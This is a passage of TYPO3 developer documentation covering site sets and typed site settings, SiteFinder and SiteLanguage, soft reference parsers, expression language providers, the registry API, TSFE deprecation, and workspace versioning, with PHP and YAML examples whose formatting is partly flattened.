site set. These files use
@import statements to import
third party TypoScript files into this extension's directory Configuration/Sets/SitePackage/TypoScript:
The additional site sets provide TypoScript configuration that depends on
the base site set. They do not use
@include statements to include
the base TypoScript. The dependencies defined in the site set take care of the
correct loading order of the TypoScript.
Site Set PHP API
Site
The site settings can be read out via the site object:
If a settings definition exists for this setting, the returned value has
already been validated, converted and, if not set, the default value is used.
SetRegistry
The
\TYPO3\CMS\Core\Site\Set\SetRegistry retrieves the site sets found in an ordered sequence, as
defined by dependencies in config.yaml. Please preferably use the site
object to access the required data. However, if you need to query one or more
site set definitions in order as defined by dependencies, then
SetRegistry
is the right place to go. To read all site set definitions, please
use
\TYPO3\CMS\Core\Site\Set\SetCollector .
getSets
Reads one or more site set definitions including their dependencies.
TYPO3 comes with a new ServiceProvider, which goes through all extensions
with the first instantiation of the
SetCollector and
reads all site set definitions found.
However, this is not the official way to access the site set definitions and
their dependencies. Please access the configuration via the site object.
Alternatively you can also use the
SetRegistry
as only this manages the site sets in the order declared by the dependency specification.
Only use the
SetCollector if you need to read all site set definitions.
Dependencies are not taken into account here.
Site settings
New in version 13.1
Site settings can receive a type, a default value and some documentation in
site settings definitions. It is
recommended to always define a site setting before using it, as only this way
you can ensure proper types and default values.
Site settings can be used to provide settings for a site. They can be accessed
via
For instance, settings can be used in custom frontend code to deliver features
which might vary per site for extensions. An example may be to configure
storage page IDs.
This example shows how to fill a constant of
EXT:felogin via site settings
(
styles.content.loginform.pid) and configures a custom
categoryPid.
Accessing site settings in page TSconfig or TypoScript
// store tx_ext_data records on the given storage page by default (e.g. through IRRE)
TCAdefaults.tx_ext_data.pid = {$categoryPid}// load category selection for plugin from out dedicated storage page
TCEFORM.tt_content.pi_flexform.ext_pi1.sDEF.categories.PAGE_TSCONFIG_ID = {$categoryPid}
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Note
The TypoScript constants are evaluated in this order:
Site specific settings from the site configuration
Constants from
sys_template database records
Site settings definitions
New in version 13.1
Site-scoped setting definitions where introduced. They will most likely be
the place to configure site-wide configuration, which was previously only
possible to modify via modifying TypoScript constants, for example in the
Constant Editor.
Site settings definitions allow to define settings with a type and a guaranteed
default value. They can be defined in Site sets, in a file called
settings.definitions.yaml.
It is recommended to use site-sets and their UI configuration in favor of
TypoScript Constants.
While Markdown syntax can be used in YAML to provide rich text formatting, there are
a few gotchas. Because YAML is sensitive to special characters and indentation, you
might need to wrap your Markdown text in single quotes (') to prevent it from breaking
the YAML syntax.
The default value must have the same type like defined in
type.
readonly
readonly
Type
bool
If a site setting is marked as readonly, it can be overridden only
by editing the config/sites/my-site/settings.yaml directly,
but not from within the editor.
Checks whether the value is already an integer or can be interpreted as an
integer. If yes, the string is converted into an integer.
settings:example.types.int:type:intdefault:42category:Example.typeslabel:'Type int'description:'Checks whether the value is already an integer or can be
interpreted as an integer. If yes, the string is converted into an integer.'
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number
number
Type
string
Path
settings.[my_val].type = number
Checks whether the value is already an integer or float or whether the
string can be interpreted as an integer or float. If yes, the string is
converted to an integer or float.
settings:example.types.number:type:numberdefault:3.16category:Example.typeslabel:'Type number'description:'Checks whether the value is already an integer or float or
whether the string can be interpreted as an integer or float. If yes,
the string is converted to an integer or float.'
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bool
bool
Type
string
Path
settings.[my_val].type = bool
If the value is already a boolean, it is returned directly 1 to 1.
If the value is an integer, then false is returned for 0 and true for 1.
If the value is a string, the corresponding Boolean value is returned for
true, false, yes, no, on, off, 0 and 1.
settings:example.types.bool:type:booldefault:truecategory:Example.typeslabel:'Type bool'description:'Casts the value to a boolean.'example.types.bool-false:type:booldefault:falsecategory:Example.typeslabel:'Type bool'description:'Casts the value to a boolean.'
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string
string
Type
string
Path
settings.[my_val].type = string
Converts almost all data types into a string. If an object has been
specified, it must be stringable, otherwise no conversion takes place.
Boolean values are converted to true and false.
settings:example.types.string:type:stringdefault:'EXT:example/Resources/Private/Templates/'category:Example.typeslabel:'Type string'description:'Converts almost all data types into a string. If an object
has been specified, it must be stringable, otherwise no conversion
takes place.
Boolean values are converted to "true" and "false".'
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text
text
Type
string
Path
settings.[my_val].type = text
Exactly the same as the string type. Use it as an alias if someone doesn't
know what to do with string.
settings:example.types.text:type:textdefault:'EXT:example/Resources/Private/Templates/'category:Example.typeslabel:'Type text'description:'Exactly the same as the `string` type. Use it as an alias if
someone doesn''t know what to do with `string`.'
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enum
enum
Type
string
Path
settings.[my_val].type = enum
Site settings can provide possible options via the enum specifier, that will
be selectable in the editor GUI.
settings:example.types.string-enum:type:stringdefault:'summer'category:Example.typeslabel:'Type string with enum'enum:spring:'Spring time'summer:'Seasons in the sun'fall:'Wine harvest'winter:'Cold'description:'Site settings can provide possible options via the `enum`
specifier, that will be selectable in the editor GUI.'
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stringlist
stringlist
Type
string
Path
settings.[my_val].type = stringlist
The value must be an array whose array key starts at 0 and increases by 1 per element. This sequence is
checked using the internal PHP method array_is_list in order to prevent named array keys from the outset.
This also means that comma-separated lists cannot be converted here.
The string type is executed for each array entry.
settings:example.types.stringlist:type:stringlistdefault:['Dog','Cat','Bird','Spider']category:Example.typeslabel:'Type stringlist'description:'The value must be an array whose array keys start at 0 and
increase by 1 per element. The list in this type is derived from the
internal PHP method array_is_list() and has nothing to do with the fact
that comma-separated lists can also be converted here.
The `string` type is executed for each array entry.'
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color
color
Type
string
Path
settings.[my_val].type = color
Checks whether the specified string can be interpreted as a color code.
Entries starting with rgb, rgba and # are permitted here.
For # color codes, for example, the system checks whether they
have 3, 6 or 8 digits.
settings:example.types.color:type:colordefault:'#FF8700'category:Example.typeslabel:'Type color'description:'Checks whether the specified string can be interpreted as a
color code. Entries starting with `rgb`, `rgba` and `#` are permitted here.
For `#` color codes, for example, the system checks whether they
have 3, 6 or 8 digits.'
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Site settings editor
New in version 13.3
The site setting editor has been introduced as backend module
Site Management > Settings.
In module Site Management > Settings you get an overview of all sites in
the current installation and can edit the Site settings for
all pages that contain settings:
Site "Home" has settings that can be edited. The others do not.
The settings editor displays the settings of all site sets included in the
current site, including their dependencies. The site sets can define categories
and subcategories to order the settings.
The site in the examples includes the "My Sitepackage" and "Blog Example"
sets. "My Sitepackage" depends on "Fluid Styled Content"
Settings that have been made directly in the settings.yaml file without a
corresponding entry in a settings.definitions.yaml are not displayed in
the editor as they have neither a type nor a label. These values are, however,
retained when the editor writes to the settings.yaml file.
Configuring the site settings editor
The parts marked by a number can be configured, see list bellow
The following command will list all configured sites with their identifier, root
page, base URL, languages, locales and a flag whether or not the site is
enabled.
vendor/bin/typo3 site:list
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typo3/sysext/core/bin/typo3 site:list
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Show configuration for one site
The show command needs an identifier of a configured site which must be provided after the command
name. The command will output the complete configuration for the site in YAML
syntax.
Finding a site object / configuration via a page or identifier
The first case is relevant when we want to access the site configuration in the
current request, for example, if we want to know which language is currently
rendered.
The second case is about accessing site configuration options independent of the
current request but based on a page ID or a site identifier.
Let us look at both cases in detail.
Accessing the current site object
When rendering the frontend or backend, TYPO3 builds an HTTP request object through
a PSR-15 middleware stack and enriches it with
information. Part of that information are the objects
\TYPO3\CMS\Core\Site\Entity\Site and
\TYPO3\CMS\Core\Site\Entity\SiteLanguage . Both objects are
available as attributes in the current
request object.
Depending on the context, there are two main ways to access them:
via
$GLOBALS['TYPO3_REQUEST'] - everywhere you do not have a
request object.
Hint
The first method is preferred, if possible, as
$GLOBALS['TYPO3_REQUEST']
was deprecated in TYPO3 v9.2 and will be removed in a future version.
Methods:
EXT:my_extension/Classes/MyClass.php
// current site
$site = $request->getAttribute('site');
// current site language
$siteLanguage = $request->getAttribute('language');
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The Extbase request class implements the
PSR-7
\Psr\Http\Message\ServerRequestInterface . Therefore, you can
retrieve all needed attributes from the request object.
Finding a site object with the
SiteFinder class
When you need to access the site configuration for a specific page ID or by a
site identifier, you can use the class
\TYPO3\CMS\Core\Site\SiteFinder .
The methods for finding a specific site throw a
\TYPO3\CMS\Core\Exception\SiteNotFoundException , if no site was found.
API
classSiteFinder
Fully qualified name
\TYPO3\CMS\Core\Site\SiteFinder
Is used in backend and frontend for all places where to read / identify sites and site languages.
Returns the applicable router for this site. This might be configurable in the future.
param $context
the context, default: NULL
Returns
\TYPO3\CMS\Core\Routing\RouterInterface
The
SiteLanguage object
The
SiteLanguage object is basically a simple model that represents the
configuration options of the site regarding language as an object and provides
getters for those properties.
API
classSiteLanguage
Fully qualified name
\TYPO3\CMS\Core\Site\Entity\SiteLanguage
Entity representing a site_language configuration of a site object.
toArray()
Returns the SiteLanguage in an array representation for e.g. the usage
in TypoScript.
Returns
array
getLanguageId()
Returns
int
getLocale()
Returns
\TYPO3\CMS\Core\Localization\Locale
getBase()
Returns
\Psr\Http\Message\UriInterface
getTitle()
Returns
string
getNavigationTitle()
Returns
string
getWebsiteTitle()
Returns
string
getFlagIdentifier()
Returns
string
getTypo3Language()
Returns the XLF label language key, returns "default" when it is "en".
"default" is currently still needed for TypoScript label overloading.
For locales like "en-US", this method returns "en_US" which can then be used
for XLF file prefixes properly.
Returns
string
getHreflang(bool $fetchCustomSetting = false)
Returns the RFC 1766 / 3066 language tag for hreflang tags
param $fetchCustomSetting
the fetchCustomSetting, default: false
Returns
string
enabled()
Returns true if the language is available in frontend usage
Returns
bool
isEnabled()
Helper so fluid can work with this as well.
Returns
bool
getFallbackType()
Returns
string
getFallbackLanguageIds()
Returns
array
The
SiteSettings object
The site settings can be retrieved using the
getSettings() method of the Site
object, which returns a
SiteSettings object.
The object can be used to access settings either by the dot notation ("flat"),
for example:
Entity representing all settings for a site. These settings are not overlaid
with TypoScript settings / constants which happens in the TypoScript Parser
for a specific page.
Adding custom / project-specific options to site configuration
The site configuration is stored as YAML and provides per definition a
context-independent configuration of a site. Especially when it comes to
things like storage PIDs or general site-specific settings, it makes sense to
add them to the site configuration.
Note
In "the old days" these kind of options were commonly stored in TypoScript,
page TSconfig or
LocalConfiguration.php, all three being in some
ways a bit unfortunate - parsing TypoScript while on CLI or using TSconfig
made for the backend in frontend was no fun.
The site entity automatically provides the
complete configuration via the
getConfiguration() method, therefore
extending that means "just add whatever you want to the YAML file". The GUI is
built in a way that toplevel options that are unknown or not available in the
form are left alone and will not get overwritten when saved.
The backend module relies on form engine to render the edit
interface. Since the form data is not stored in database records but in
YAML files, a couple of details have been extended of the default form engine
code.
The render configuration is stored in EXT:backend/Configuration/SiteConfiguration/ (GitHub)
in a format syntactically identical to TCA. However, this is not loaded into
$GLOBALS['TCA'] scope, and only a small subset of TCA features is
supported.
Attention
Extending site configuration is experimental and may change any time.
In practice, the configuration can be extended, but only with very simple fields
like the basic config type
input, and even for this one not all features
are possible, for example the
eval options are limited. The code throws
exceptions or just ignores settings it does not support. While some of the
limits may be relaxed a bit over time, many will be kept. The goal is to allow
developers to extend the site configuration with a couple of simple things like
an input field for a Google API key. However it is not possible to extend with
complex TCA like inline relations, database driven select fields, FlexForm
handling and similar.
The example below shows the experimental feature adding a field to site in an
extension's Configuration/SiteConfiguration/Overrides/sites.php file.
Note the helper methods of class
\TYPO3\CMS\core\Utility\ExtensionManagementUtility can not be used.
<?php// Experimental example to add a new field to the site configuration// Configure a new simple required input field to site
$GLOBALS['SiteConfiguration']['site']['columns']['myNewField'] = [
'label' => 'A new custom field',
'config' => [
'type' => 'input',
'eval' => 'required',
],
];
// And add it to showitem
$GLOBALS['SiteConfiguration']['site']['types']['0']['showitem'] = str_replace(
'base,',
'base, myNewField, ',
$GLOBALS['SiteConfiguration']['site']['types']['0']['showitem'],
);
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The field will be shown in the edit form of the configuration module and its
value stored in the config.yaml file. Using the site object
\TYPO3\CMS\core\Site\Entity\Site, the value can be fetched using
->getConfiguration()['myNewField'].
Soft references
Soft references are references to database elements, files, email addresses,
URLs, etc. which are found inside of text fields.
For example, the
tt_content.bodytext database field can contain soft
references to pages, content elements and files. The page reference looks like
this:
<ahref="t3://page?uid=1">link to page 1</a>
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In contrast to this, the field
pages.shortcut contains the page ID of a
shortcut. This is a reference, but not a soft reference.
The soft reference parsers are used by the system to find these references and
process them accordingly in import/export actions and copy operations. Also, the
soft references are used by integrity checking functions. For example, when you
try to delete a page, TYPO3 will warn you if there are incoming page links to
this page.
All references, soft and ordinary ones, are written to the reference index
(table
sys_refindex).
You can define which soft reference parsers to use in the TCA field
softref which is available for
TCA column types text and
input.
Default soft reference parsers
The
\TYPO3\CMS\Core\DataHandling\SoftReference namespace contains generic
parsers for the most well-known types, which are the default for most TYPO3
installations. This is the list of the pre-registered keys:
substitute
A full field value targeted for manual substitution (for import/export
features).
typolink
References to page ID, record or file in typolink format. The typolink
soft reference parser can take an additional argument, which can be
linklist (typolink['linklist']). In this case the links will be
separated by commas.
typolink_tag
Same as typolink, but with
an
<a> tag encapsulating it.
ext_fileref
Relative file reference, prefixed EXT:[extkey]/ - for finding
extension dependencies.
This means, the parsers for the soft reference types typolink_tag, email and
url will all be applied. The email soft reference parser receives the
additional parameter subst.
The content could look like this:
<p><ahref="t3://page?uid=96">Congratulations</a></p><p>To read more about <ahref="https://example.org/some-cool-feature">this cool feature</a></p><p>Contact: email@example.org</p>
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The parsers will return an instance of
\TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserResult
containing information about the references contained in the string.
This object has two properties:
$content and
$elements.
Property
$content
<p><ahref="{softref:424242}">Congratulations</a></p><p>To read more about <ahref="{softref:78910}">this cool feature</a></p><p>Contact: {softref:123456}</p>
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This property contains the input content. Links to be substituted have been
replaced by soft reference tokens.
For example:
<p>Contact: {softref:123456}</p>
Tokens are strings like {softref:123456} which are placeholders for values
extracted by a soft reference parser.
For each token there is an entry in
$elements which has a
subst key defining the
tokenID and the
tokenValue. See
below.
This property is an array of arrays, each with these keys:
matchString: The value of the match. This is only for informational
purposes to show, what was found.
error: An error message can be set here, like "file not found" etc.
subst: exists on a successful match and defines the token from
content
tokenID: The tokenID string corresponding to the token in output
content, {softref:[tokenID]}. This is typically a md5 hash of a string
uniquely defining the position of the element.
tokenValue: The value that the token substitutes in the text.
If this value is inserted instead of the token, the content
should match what was inputted originally.
type: the type of substitution.
file is a relative file
reference,
db is a database record reference,
string is a
manually modified string content (email, external url, phone number)
relFileName: (for
file type): Relative filename.
recordRef: (for
db type): Reference to DB record on the form
<table>:<uid>.
User-defined soft reference parsers
Soft reference parsers can be user-defined. They are set up by
registering them in your Services.yaml file. This will load them
via dependency injection:
EXT:my_extension/Configuration/Services.yaml
services:# Place here the default dependency injection configurationMyVendor\MyExtension\SoftReference\YourSoftReferenceParser:tags:-name:softreference.parserparserKey:my_softref_key
The return type must be an instance of
EXT:core/DataHandling/SoftReference/SoftReferenceParserResult.php (GitHub).
This model possesses the properties
$content and
$elements and has
appropriate getter methods for them. The structure of these properties has been
described in the examples section. This
result object should be created by its own factory method
SoftReferenceParserResult::create(), which expects both
above-mentioned arguments to be provided. If the result is empty,
SoftReferenceParserResult::createWithoutMatches() should be used instead.
If
$elements is an empty array, this method will also be used internally.
Using the soft reference parser
To get an instance of a soft reference parser, it is recommended to use the
\TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory
class. This factory class already holds all registered instances of the parsers.
They can be retrieved with the
getSoftReferenceParser() method. You
have to provide the desired key as the first and only argument.
EXT:my_extension/Classes/MyController.php
<?phpdeclare(strict_types=1);
useTYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory;
finalclassMyController{
publicfunction__construct(
private readonly SoftReferenceParserFactory $softReferenceParserFactory,
){}
publicfunctiondoSomething(): void{
// Get the soft reference parser with the key "my_softref_key"
$mySoftRefParser = $this->softReferenceParserFactory->getSoftReferenceParser(
'my_softref_key',
);
// ... do something with $mySoftRefParser
}
}
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Symfony expression language
Symfony expression language (SEL) is used by TYPO3 in a couple of places. The most
well-known ones are TypoScript conditions.
The TypoScript and TSconfig references list
available variables and functions of these contexts. But the TYPO3 Core API allows
enriching expressions with additional functionality, which is what this chapter is about.
Main API
The TYPO3 Core API provides a relatively slim API in front of the Symfony expression
language: Symfony expressions are used in different contexts (TypoScript conditions,
the EXT:form framework, maybe more).
The class
\TYPO3\CMS\Core\ExpressionLanguage\Resolver is used to prepare the
expression language processor based on a given context (identified by a string,
for example "typoscript"), and loads registered available variables and functions
for this context.
The System > Configuration module
provides a list of all registered Symfony expression language providers.
Evaluation of single expressions is then initiated calling
$myResolver->evaluate(). While TypoScript casts the return value to
bool,
Symfony expression evaluation can potentially return
mixed.
Registering new provider
There has to be a provider, no matter whether variables or functions will be provided.
A provider is registered in the extension file Configuration/ExpressionLanguage.php.
This will register the defined
CustomTypoScriptConditionProvider PHP class as
provider within the context typoscript.
The provider is a PHP class like /Classes/ExpressionLanguage/CustomTypoScriptConditionProvider.php,
depending on the formerly registered PHP class name:
Additional variables can be provided by the registered provider class.
In practice, adding additional variables is used rather seldom: To
access state, they tend to use
$GLOBALS, which in general is not
a good idea. Instead, consuming code should provide available variables
by handing them over to the
Resolver constructor already.
The example below adds a new variable variableA with value valueB:
[webservice('pages', 10)]
page.10 >
page.10 = TEXT
page.10.value = Matched
[GLOBAL]# Or compare the result of the function to a string[webservice('pages', 10) === 'Expected page title']
page.10 >
page.10 = TEXT
page.10.value = Matched
[GLOBAL]# if there are no parameters, your own conditions still need brackets[conditionWithoutParameters()]# do something[GLOBAL]
The purpose of the registry is to store key-value pairs of information. It can
be considered an equivalent to the Windows registry (only not as complicated).
You might use the registry to hold information that your script needs
to store across sessions or requests.
An example would be a setting that needs to be altered by a PHP
script, which currently is not possible with TypoScript.
Another example: The Scheduler system extension
stores when it ran the last time. The
Reports system extension then checks that value, in
case it determines that the Scheduler has not run for a while, it issues
a warning. While this might not be of much use to someone who has set up an
actual cron job for the Scheduler, but it is useful for users who
need to run the Scheduler tasks manually due to a lack of access to a
cron job.
The registry is not intended to store things that are supposed to go into
a session or a cache, use the appropriate
API for them instead.
The registry API
TYPO3 provides an API for using the registry. You can inject an instance of
the
Registry class via dependency injection.
The instance returned will always be the same, as the registry is a singleton:
You can access registry values through its
get() method. The
get()
method provides a third parameter to specify a default value that is returned,
if the requested entry is not found in the registry. This happens, for example,
the first time an entry is accessed. A value can be set with the
set()
method.
Note
Do not store binary data in the registry, it is not intended for this
purpose. Use the file system instead, if you have such needs.
Example
The registry can be used, for example, to write run information of a
console command into the registry:
A class to store and retrieve entries in a registry database table.
This is a simple, persistent key-value-pair store.
The intention is to have a place where we can store things (mainly settings)
that should live for more than one request, longer than a session, and that
shouldn't expire like it would with a cache. You can actually think of it
being like the Windows Registry in some ways.
This is the main method that can be used to store a key-value-pair.
Do not store binary data into the registry, it's not build to do that,
instead use the proper way to store binary data: The filesystem.
param $namespace
Extension key of extension
param $key
The key of the entry to set.
param $value
The value to set. This can be any PHP data type; This class takes care of serialization
remove(?string $namespace, ?string $key)
Unset a persistent entry.
param $namespace
Extension key of extension
param $key
The key of the entry to unset.
removeAllByNamespace(?string $namespace)
Unset all persistent entries of given namespace.
param $namespace
Extension key of extension
The registry table (sys_registry)
Following a description of the fields that can be found in the sys_registry
table:
uid
uid
Type
int
Primary key, needed for replication and also useful as an index.
entry_namespace
entry_namespace
Type
varchar(128)
Represents an entry's namespace. In general, the namespace is an
extension key starting with tx_, a user script's prefix user_,
or core for entries that belong to the Core.
The purpose of namespaces is that entries with the same key can exist
within different namespaces.
entry_key
entry_key
Type
varchar(128)
The entry's key. Together with the namespace, the key is unique for the
whole table. The key can be any string to identify the entry. It is
recommended to use dots as dividers, if necessary. In this way, the
naming is similar to the syntax already known in TypoScript.
entry_value
entry_value
Type
mediumblob
The entry's actual value. The value is stored as a serialized string,
thus you can even store arrays or objects in a registry entry – it is
not recommended though. The value in this field is stored as a binary.
TSFE
Deprecated since version 13.4
The class
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController
and its global instance
$GLOBALS['TSFE'] have been marked as
deprecated. The class will be removed with TYPO3 v14.
TSFE is short for
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController ,
a class which exists in the system extension EXT:frontend.
As the name implies: A responsibility of TSFE
is page rendering. It also handles reading from and writing to the page cache.
For more details it is best to look into the source code.
There are several contexts in which the term TSFE is used:
PHP: It was and is available as global array
$GLOBALS['TSFE'] in PHP.
TypoScript: TypoScript function TSFE
which can be used to access public properties in TSFE.
The TypoScript part is covered in the
TypoScript Reference: TSFE.
In this section we focus on the PHP part and give an overview, in which way the
TSFE class can be used.
Accessing TSFE
Attention
Some of the former public properties and methods have been changed to
protected or marked as internal. Often, accessing TSFE is no longer
necessary, and there are better alternatives.
Access
$GLOBALS['TSFE'] directly only as a last resort,
usage is strongly discouraged, if not absolutely necessary.
From the source:
When calling a frontend page, an instance of this object is available
as
$GLOBALS['TSFE'] , even though the Core development strives to get
rid of this in the future.
If access to the
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController instance is
necessary, use the request attribute
frontend.controller:
TSFE is not available in all contexts. In particular, it is
only available in frontend contexts, not in the backend or the
command line.
Initializing
$GLOBALS['TSFE'] in the backend is sometimes done in code
examples found online. This is not recommended. TSFE is not initialized in the
backend context by the Core (and there is usually no need to do this).
From the PHP documentation:
As of PHP 8.1.0, $GLOBALS is now a read-only copy of the global symbol table.
That is, global variables cannot be modified via its copy.
The PHP class
\TYPO3\CMS\Core\Information\Typo3Information provides an API for general
information, links and copyright information about TYPO3.
The following methods are available:
getCopyrightYear() will return a string with the current copyright years (for example "1998-2020")
getHtmlGeneratorTagContent() will return the backend meta generator tag with copyright information
getInlineHeaderComment() will return the TYPO3 header comment rendered in all frontend requests ("This website is powered by TYPO3...")
getCopyrightNotice() will return the TYPO3 copyright notice
Warning
DO NOT prevent the copyright notice from being shown in ANY WAY.
According to the GPL license an interactive application must show such a notice on start-up
('If the program is interactive, make it output a short notice... ' )
Therefore preventing this notice from being properly shown is a violation of the license, regardless of whether
you remove it or use a stylesheet to obstruct the display.
Version Information
PHP class
\TYPO3\CMS\Core\Information\Typo3Version provides an API for
accessing information about the currently used TYPO3 version.
getVersion() will return the full TYPO3 version (for example 10.4.3)
getBranch() will return the current branch (for example 10.4)
getMajorVersion() will return the major version number (for example 10)
__toString() will return the result of
getVersion()
Webhooks and reactions
A webhook is an automated message sent from one application to another via HTTP.
It is defined as an authorized POST or GET request to a defined URL. For
example, a webhook can be used to send a notification to a Slack channel when a
new page is created in TYPO3.
TYPO3 supports incoming and outgoing webhooks:
The system extension Reactions provides the
functionality to receive webhooks in TYPO3 from third-party system.
The system extension Webhooks
provides the possibility to send webhooks from TYPO3 to third-party
systems.
Have a look at the linked documentation for more details.
Versioning and Workspaces
TYPO3 provides a feature called "workspaces", whereby changes
can be made to the content of the web site without affecting the
currently visible (live) version. Changes can be previewed and
go through an approval process before publishing.
This will lead to all t3ver_* fields of the example table to be marked as obsolete,
if they have not be defined explicitly in an extension. A subsequent DB schema update will then drop these fields.
The concept of workspaces needs attention from extension programmers.
The implementation of workspaces is however made, so that no critical
problems can appear with old extensions;
First of all the "Live workspace" is no different from how TYPO3 has
been working for years so that will be supported out of the box
(except placeholder records must be filtered out in the frontend with
t3ver_state != , see below).
Secondly, all permission related issues are implemented in DataHandler so
the worst your users can experience is an error message.
However, you probably want to update your extension so that in the
backend the current workspace is reflected in the records shown and
the preview of content in the frontend works as well. Therefore this
chapter has been written with instructions and insight into the issues
you are facing.
Frontend challenges in general
For the frontend the challenges are mostly related to creating correct
previews of content in workspaces. For most extensions this will work
transparently as long as they use the API functions in TYPO3 to
request records from the system.
The most basic form of a preview is when a live record is selected and
you lookup a future version of that record belonging to the current
workspace of the logged in backend user. This is very easy as long as
a record is selected based on its "uid" or "pid" fields which are not
subject to versioning: call sys_page->versionOL() after
record selection.
However, when other fields are involved in the where clause it gets
dirty. This happens all the time! For instance, all records displayed
in the frontend must be selected with respect to "enableFields"
configuration! What if the future version is hidden and the live
version is not? Since the live version is selected first (not hidden)
and then overlaid with the content of the future version (hidden) the
effect of the hidden field we wanted to preview is lost unless we also
check the overlaid record for its hidden field (->versionOL() actually
does this). But what about the opposite; if the live record was hidden
and the future version not? Since the live version is never selected
the future version will never have a chance to display itself! So we
must first select the live records with no regard to the hidden state,
then overlay the future version and eventually check if it is hidden
and if so exclude it. The same problem applies to all other
"enableFields", future versions with "delete" flags and current
versions which are invisible placeholders for future records. Anyway,
all that is handled by the
\TYPO3\CMS\Core\Domain\Repository\PageRepository class which includes
functions for "enableFields" and "deleted" so it will work out of the
box for you. But as soon as you do selection based on other fields
like email, username, alias etc. it will fail.
Summary
Challenge: How to preview elements which are disabled by
"enableFields" in the live version but not necessarily in the offline
version. Also, how to filter out new live records with t3ver_state
set to 1 (placeholder for new elements) but only when not previewed.
Solution: Disable check for enableFields/where_del_hidden on
live records and check for them in versionOL on input record.
Frontend implementation guidelines
Any place where enableFields() are not used for selecting in the
frontend you must at least check that t3ver_state != 1 so
placeholders for new records are not displayed.
If you need to detect preview mode for versioning and workspaces you
can use the Context object.
GeneralUtility::makeInstance(Context::class)->getPropertyFromAspect('workspace', 'id', 0);
gives you the id of the workspace of the current backend user. Used
for preview of workspaces.
Use the following API function for support of version previews in the
frontend:
Generally ALWAYS used when records are selected based on uid or pid.
If records are selected on other fields than uid or pid (e.g. "email =
....") then usage might produce undesired results and that should be
evaluated on individual basis.
Principle: Record online! => Find offline?
Example:
This is how simple it is to use this record in your frontend plugins
when you do queries directly (not using API functions already using
them):
EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Domain\Repository\PageRepository;// use TYPO3\CMS\Core\Utility\GeneralUtility;
$pageRepository = GeneralUtility::makeInstance(PageRepository);
$result = $queryBuilder->executeQuery();
while ($row = $result->fetchAssociative()) {
$pageRepository->versionOL($table, $row);
if (is_array($row)) {
// ...
}
// ...
}
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When the live record is selected, call ->versionOL() and make
sure to check if the input row (passed by reference) is still an array.
The third argument, $unsetMovePointers = FALSE, can be set to
TRUE when selecting records for display ordered by their position in
the page tree. Difficult to explain easily, so only use this option if you
don't get a correct preview of records that has been moved in a
workspace (only for "element" type versioning)
Frontend scenarios impossible to preview
These issues are not planned to be supported for preview:
Lookups and searching for records based on other fields than
uid, pid or "enableFields" will never reflect workspace content since
overlays happen to online records after they are selected.
This problem can largely be avoided for versions of new records
because versions of a "New"-placeholder can mirror certain fields down
onto the placeholder record. For the tt_content table this is
configured as:
so that these fields used for column position, language and header title are also updated
in the placeholder thus creating a correct preview in the frontend.
For versions of existing records the problem is in reality reduced
a lot because normally you don't change the column or language fields
after the record is first created anyway! But in theory the preview
can fail.
When changing the type of a page (e.g. from "Standard" to "External
URL") the preview might fail in cases where a look up is done on the
doktype field of the live record.
Page shortcuts might not work properly in preview.
Mount Points might not work properly in preview.
It is impossible to preview the value of count(*) selections since
we would have to traverse all records and pass them through
->versionOL() before we would have a reliable result!
In \TYPO3\CMS\Core\Domain\Repository\PageRepository::getPageShortcut(),
PageRepository->getMenu() is called with an
additional
WHERE clause which will ignore changes made in workspaces.
This could also be the case in other places where PageRepository->getMenu()
is used (but a search shows it is not a big problem).
In this case we will for now accept that a wrong shortcut destination
can be experienced during previews.
Backend challenges
The main challenge in the backend is to reflect how the system will
look when the workspace gets published. To create a transparent
experience for backend users we have to overlay almost every selected
record with any possible new version it might have. Also when we are
tracking records back to the page tree root point we will have to
correct pid-values. All issues related to selecting on fields other
than pid and uid also relates to the backend as they did for the
frontend.
Workspace-related API for backend modules
BackendUtility::workspaceOL()
Overlaying record with workspace version if any. Works like
->sys_page->versionOL() does, but for the backend. Input record must
have fields only from the table (no pseudo fields) and the record is
passed by reference.
Gets record from table and overlays the record with workspace version
if any.
Example:
EXT:some_extension/Classes/SomeClass.php
// use \TYPO3\CMS\Backend\Utility\BackendUtility
$row = BackendUtility::getRecordWSOL($table, $uid);
// This is the same as:
$row = BackendUtility::getRecord($table, $uid);
BackendUtility::workspaceOL($table, $row);
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BackendUtility::isPidInVersionizedBranch()
Will fetch the rootline for the pid, then check if anywhere in the
rootline there is a branch point. Returns either "branchpoint" (if
branch) or "first" (if page) or false if nothing. Alternatively, it
returns the value of t3ver_stage for the branchpoint (if any).
BackendUtility::getWorkspaceVersionOfRecord()
Returns offline workspace version of a record, if found.
BackendUtility::getLiveVersionOfRecord()
Returns live version of workspace version.
WorkspaceRestriction
It limits an SQL query to only select records which are "online" (pid != -1)
and in live or current workspace:
// use TYPO3\CMS\Core\Database\Query\Restriction\WorkspaceRestriction
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$BE_USER->workspaceCannotEditRecord()
Checking if editing of an existing record is allowed in current
workspace if that is offline.
$BE_USER->workspaceCreateNewRecord()
Checks if new records can be created in a certain page (according to
workspace restrictions).
$BE_USER->checkWorkspace()
Checks how the users access is for a specific workspace.
$BE_USER->checkWorkspaceCurrent()
Like ->checkWorkspace() but returns status for the current workspace.
$BE_USER->setWorkspace()
Setting another workspace for backend user.
$BE_USER->setWorkspacePreview()
Setting frontend preview state.
Backend module access
You can restrict access to backend modules by setting the value of the
workspaces key in the
backend module configuration:
return [
'web_examples' => [
'parent' => 'web',
// Only available in live workspace'workspaces' => 'live',
// ... other configuration
],
];
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The value can be one of:
* (always)
live
offline
Detecting current workspace
You can always check what the current workspace of the backend user is
by reading WorkspaceAspect->getWorkspaceId(). If the workspace is a
custom workspace you will find its record loaded in
$GLOBALS['BE_USER']->workspaceRec.
The values for workspaces is either 0 (online/live) or the uid of the
corresponding entry in the sys_workspace table.
Using DataHandler with workspaces
Since admin users are also restricted by the workspace it is not
possible to save any live records when in a workspace. However for
very special occasions you might need to bypass this and to do so, you
can set the instance variable
\TYPO3\CMS\Core\DataHandling\DataHandler::bypassWorkspaceRestrictions to TRUE. An example of
this is when users are updating their user profile using the "User Tool >
User Settings" module; that actually allows them to save to a live record
(their user record) while in a draft workspace.
Moving in workspaces
TYPO3 v4.2 and beyond supports moving for "Element" type versions in
workspaces. A new version of the
source record is made and has t3ver_state = 4 (move-to pointer).
